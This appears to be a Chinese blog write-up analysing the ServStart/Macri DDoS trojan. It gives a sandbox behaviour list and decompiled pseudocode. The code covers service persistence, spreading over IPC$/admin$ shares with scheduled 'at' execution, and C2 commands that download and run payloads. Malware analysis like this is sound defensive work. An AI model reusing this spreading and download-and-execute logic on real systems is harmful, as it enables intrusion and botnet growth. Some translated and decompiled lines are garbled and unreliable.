


Win32/ServStart.D
加载驱动程序;
从自己的二进制映像中读取数据。
一个过程创建了一个隐藏的窗口;
删除二进制文件并执行它。
可执行文件使用UPX压缩;
使用Windows实用程序实现基本功能;
安装自身以在 Windows 启动时自动运行。
创建隐藏文件或系统文件。
创建自身的副本;
使用可疑的命令行工具或 Windows 实用程序;
加密在患者硬盘上找到的记录 - 因此患者无法再利用这些信息;
防止定期访问患者的工作站;
Trojan-DDos.Win32.Macri.atk
尝试连接到死 IP:端口(1 次唯一时间)
从自己的二进制映像中读取数据
进程创建了一个隐藏的窗口
删除二进制文件并执行它
非常规二进制语言:中文(简体)
二进制资源中使用的非常规语言:中文(简体)
二进制文件可能包含加密或压缩的数据。
可执行文件使用 UPX 进行压缩
使用 Windows 实用工具实现基本功能
从磁盘中删除其原始二进制文件
自行安装以便在 Windows 启动时自动运行
创建隐藏文件或系统文件
创建自身的副本
使用可疑的命令行工具或 Windows 实用程序

10:12:48:657, cmd.exe,6368:6152,5000,BA_self_delete,C:\Users\lilwen\Desktop\44b95162f85b81e71e5f2e7abbc904a6339ce0aa,,0x00000000 [操作成功完成。 ],
主函数
打开注册表服务路径

成功打开 eax=1 打开失败 eax=0

找到路径后执行 找不到路径 打开失败之后创建路径
===================================================================================================================================================
找不到路径打开失败后 :
int __cdecl sub_405B6E(char *a1, int a2, LPCSTR lpString)
{
if ( strncmp(Buffer, Filename, v15) )
{
v25 = sub_406C30(26) + 97;
v24 = sub_406C30(26) + 97;
v23 = sub_406C30(26) + 97;
v22 = sub_406C30(26) + 97;
v21 = sub_406C30(26) + 97;
v16 = sub_406C30(26);
wsprintfA(Source, "%c%c%c%c%c%c.exe", v16 + 97, v21, v22, v23, v24, v25);
strcat(Buffer, '\');
strcat(Buffer, Source);
CopyFileA(Filename, Buffer, 0);//复制文件
memset(Filename, 0, sizeof(Filename));
strcpy(Filename, Buffer);
dword_409638 = 1;
}
ms_exc.registration.TryLevel = 0;
v40 = OpenSCManagerA(0, 0, 983103);
if ( v17 )
{
v39 = CreateServiceA(v17, a1, a2, 983551, 272, 2, 1, Filename, 0, 0, 0, 0, 0); //a1=15654656 服务号
v29 = LockServiceDatabase(v17);
v31 = '456468465';
ChangeServiceConfig2A(v39, 1, &v31);
v27[1] = 0; v27[0] = 86400; v27[2] = 0; v27[3] = 3; v27[4] = (int)v30;
v30[1] = 7000; v30[0] = 1; v30[3] = 0; v30[2] = 1; v30[5] = 0; v30[4] = 1;
ChangeServiceConfig2A(v39, 2, v27);
UnlockServiceDatabase(v29);
if ( !v39 && GetLastError() == 1073 )
{
v39 = OpenServiceA(v40, a1, 983551);
if ( !v18
)
goto LABEL_10;
StartServiceA(v18, 0, 0);
}
if ( StartServiceA(v39, 0, 0) )
{
strcat("SYSTEM\\CurrentControlSet\\Services\\", a1);
RegOpenKeyA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\", &v43);
strcpy(v28, "Description");
v19 = lstrlenA(lpString);
RegSetValueExA(v43, v28, 0, 1,lpString, v19);
}
}
LABEL_10:
ms_exc.registration.TryLevel = -1;
if ( OpenServiceA(v40, a1, 983551); )
CloseServiceHandle(OpenServiceA(v40, a1, 983551););
if ( OpenSCManagerA(0, 0, 983103); )
CloseServiceHandle(OpenSCManagerA(0, 0, 983103););
if ( v43 )
RegCloseKey(v43);
return sub_40355B(4219034);
}
-----------------------------
此时 创建系统目录

------------------------------
往下走

===============================================================================================================================================

此处有三个线程:
线程①
sub_402AD0(int a1, int a2, LPCSTR lpString1)
{
if ( !lstrcmpA(lpString1, String2) )
sprintf(Buffer, "\"%s\"", (const char *)&dword_40963C);
CmdLine[0] = 0;
memset(&CmdLine[1], 0, 0x400u);
&CmdLine[1025] = 0;
CmdLine[1027] = 0;
v13 = 0;
memset(v14, 0, sizeof(v14));
v15 = 0;
v16 = 0;
sprintf(CmdLine, "\\\\%s\\ipc$",a1);
v19[5] = (int)CmdLine;
v19[0] = 2;
v19[1] = 0;
v19[2] = 0;
v19[3] = 1;
v19[4] = (int)&dword_409640;
v19[7] = 0;
v19[6] = 0;
WNetAddConnection2A(v19, lpString1,a2, 0);
if ( !WNetAddConnection2A )
return 1;
GetModuleFileNameA();
Sleep(0xC8u);
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "\\\\%s\\admin$\\g1fd.exe",a1);
lstrcpyA(&v13, aAdmin);
v6 = GetModuleFileNameA();
if ( CopyFileA(v6, CmdLine, 0) )
goto LABEL_9;
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "\\\\%s\\C$\\NewArean.exe", a1);
lstrcpyA(&v13, aCG1fdExe);
v7 =GetModuleFileNameA();
if ( CopyFileA(v7, CmdLine, 0) )
goto LABEL_9;
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "\\\\%s\\D$\\g1fd.exe",a1);
lstrcpyA(&v13, aDG1fdExe);
v8 =GetModuleFileNameA2();
if ( CopyFileA(v8, CmdLine, 0)
|| (memset(CmdLine, 0, sizeof(CmdLine)),
sprintf(CmdLine, "\\\\%s\\E$\\g1fd.exe", a1),
lstrcpyA(&v13, aEG1fdExe),
v9 =GetModuleFileNameA(),
CopyFileA(v9, CmdLine, 0)) )
{
LABEL_9:
GetLocalTime(&SystemTime);
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "at \\\\%s %d:%d %s", a1, SystemTime.wHour, SystemTime.wMinute + 2, &v13);
WinExec(CmdLine, 0);
dword_409624 = 1;
Sleep(0x7D0u);
}
else
{
memset(CmdLine, 0, sizeof(CmdLine));
sprintf(CmdLine, "\\\\%s\\F$\\g1fd.exe", (const char *)a1);
lstrcpyA(&v13, aFG1fdExe);
v10 = GetModuleFileNameA();
CopyFileA(v10, CmdLine, 0);
}
return 0;
}
线程②:
sub_4051E0():
{
struct WSAData WSAData;
char String[256];
WSAStartup(0x202u, &WSAData);
do
{
Sleep(0x64u);
sub_4050DB(String);
}
while ( atoi(String) <= 20130221 );
Sleep(0x64u);
return CreateThread(0, 0, sub_405128, 0, 0, 0);
}
线程③:
sub_405241()
{
struct WSAData WSAData;
char String[256];
WSAStartup(0x202u, &WSAData);
do
{
Sleep(0x64u);
sub_4050DB(String);
}
while ( atoi(String) <= 20130221 );
Sleep(0x64u);
return CreateThread(0, 0, sub_405184, 0, 0, 0);
}
StartAddress()
{
Sleep(0x2BF20u);
strcpy(ProcName, "WriteFile");
v0 = LoadLibraryA(aKernel32Dll_6);
GetProcAddress(v0, ProcName);
v1 = LoadLibraryA(aKernel32Dll_7);
GetTempPathA = GetProcAddress(v1, aGettemppatha_0);
v2 = LoadLibraryA(aWs232Dll_0);
closesocket = GetProcAddress(v2, aClosesocket);
v3 = LoadLibraryA(aKernel32Dll_8);
lstrcatA =GetProcAddress(v3, aLstrcata);
result = sub_404044();
s = result;
if ( result != -1 )
{
sub_403492(result, 75);
memset(Src, 0, sizeof(Src));
sub_4060F0(Src);
if ( sub_4034E5() == 1 )
Src[40] += 2;
if ( dword_4016DC == 1 )
Src[41] += 3;
if ( dword_4016E0 == 1 )
Src[42] += 4;
*(_DWORD *)buf = 176;
*(_DWORD *)&buf[4] = 119;
memcpy(&buf[8], Src, 0xB0u);
if ( send(s, buf, 184, 0) != -1 )
{
strcpy(LibFileName, "urlmon.dll");
strcpy(v45, "URLDownloadToFileA");
while ( 1 )
{
memset(buf, 0, sizeof(buf));
if ( !sub_403758(s, (int)buf, 8) || !sub_403758(s, (int)&buf[8], *(int *)buf) )
break;
if ( *(_DWORD *)&buf[4] > 6u )
{
switch ( *(_DWORD *)&buf[4] )
{
case 0x10:
CmdLine = 0;
memset(v27, 0, sizeof(v27));
v28 = 0;
v29 = 0;
v34 = 0;
memset(v35, 0, sizeof(v35));
v36 = 0;
v37 = 0;
GetTempPathA(260, &CmdLine);
v13 = GetTickCount();
wsprintfA(&v34, "%d", v13);
lstrcatA(&CmdLine, &v34);
v14 = LoadLibraryA(LibFileName);
v15 = GetProcAddress(v14, v45);
((void (__stdcall *)(_DWORD, char *, CHAR *, int, _DWORD))v15)(0, &buf[8], &CmdLine, 10, 0);
if ( *(_DWORD *)&buf[4] == 17 )
v16 = 5;
else
v16 = 0;
WinExec(&CmdLine, v16);
break;
case 0x12:
v8 = OpenMutexA(0x1F0001u, 0, ServiceName);
v9 = v8;
if ( v8 )
{
ReleaseMutex(v8);
CloseHandle(v9);
}
Buffer[0] = 0;
memset(&Buffer[1], 0, 0x100u);
*(_WORD *)&Buffer[257] = 0;
Buffer[259] = 0;
v30 = 0;
memset(v31, 0, sizeof(v31));
v32 = 0;
v33 = 0;
GetTempPathA(260, Buffer);
Size = sub_406C30(0x1Au) + 97;
v21 = sub_406C30(0x1Au) + 97;
v20 = sub_406C30(0x1Au) + 97;
v19 = sub_406C30(0x1Au) + 97;
v10 = sub_406C30(0x1Au);
wsprintfA(&v30, "%c%c%c%c%ccn.exe", v10 + 97, v19, v20, v21, Size);
lstrcatA(Buffer, &v30);
v11 = LoadLibraryA(LibFileName);
v12 = GetProcAddress(v11, v45);
if ( !((int (__stdcall *)(_DWORD, char *, char *, int, _DWORD))v12)(0, &buf[8], Buffer, 10, 0) )
{
sub_40351A(ServiceName);
memset(pszSubKey, 0, sizeof(pszSubKey));
strcpy(v49, "SYSTEM\\CurrentControlSet\\Services\\");
sprintf(pszSubKey, "%s%s", v49, ServiceName);
SHDeleteKeyA(HKEY_LOCAL_MACHINE, pszSubKey);
Sizeb = s;
((void (*)(void))closesocket)();
sub_40355B(Sizeb);
WinExec(Buffer, 0);
ExitProcess(0);
}
break;
case 0x14:
strcpy(File, "iexplore.exe");
strcpy(Operation, "open");
v7 = GetDesktopWindow();
ShellExecuteA(v7, Operation, File, &buf[8], 0, 1);
break;
}
}
else
{
switch ( *(_DWORD *)&buf[4] )
{
case 6:
v17 = OpenMutexA(0x1F0001u, 0, ServiceName);
v18 = v17;
if ( v17 )
{
ReleaseMutex(v17);
CloseHandle(v18);
}
sub_40351A(ServiceName);
memset(Buffer, 0, sizeof(Buffer));
strcpy(v49, "SYSTEM\\CurrentControlSet\\Services\\");
sprintf(Buffer, "%s%s", v49, ServiceName);
SHDeleteKeyA(HKEY_LOCAL_MACHINE, Buffer);
Sizea = s;
((void (*)(void))closesocket)();
sub_40355B(Sizea);
ExitProcess(0);
case 2:
lstrcpynA(Parameter, &buf[24], 260);
dword_409374 = *(_DWORD *)&buf[8];
dword_40937C = *(_DWORD *)&buf[16];
dword_409378 = *(_DWORD *)&buf[12];
dword_409380 = *(_DWORD *)&buf[20];
sub_403135(Parameter);
break;
case 3:
dword_409240 = *(_DWORD *)&buf[8];
dword_409248 = *(_DWORD *)&buf[16];
dword_409244 = *(_DWORD *)&buf[12];
dword_409254 = *(_DWORD *)&buf[20];
dword_40924C = *(_DWORD *)&buf[24];
dword_409250 = *(_DWORD *)&buf[28];
lstrcpynA(byte_409140, &buf[32], 128);
v6 = lstrlenA(byte_409140);
lstrcpynA(byte_4091C0, &buf[v6 + 33], 128);
sub_403280(byte_409140);
break;
case 4:
lstrcpynA(String, &buf[24], 128);
v5 = lstrlenA(String);
lstrcpynA(String1, &buf[v5 + 25], 512);
dword_409608 = *(_DWORD *)&buf[8];
dword_409610 = *(_DWORD *)&buf[16];
dword_40960C = *(_DWORD *)&buf[12];
dword_409614 = *(_DWORD *)&buf[20];
sub_403311(String);
break;
case 5:
dword_401C84 = 1;
if ( dword_40962C )
dword_40962C();
break;
}
}
}
closesocket(s);
}
result = closesocket(s);
}
return result;
}
线程②与线程③,只有连接的网址不一样
Sub_40336C()
加密字符串-->解密sub_4029CE-->复制网址-->连接

__EOF__
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通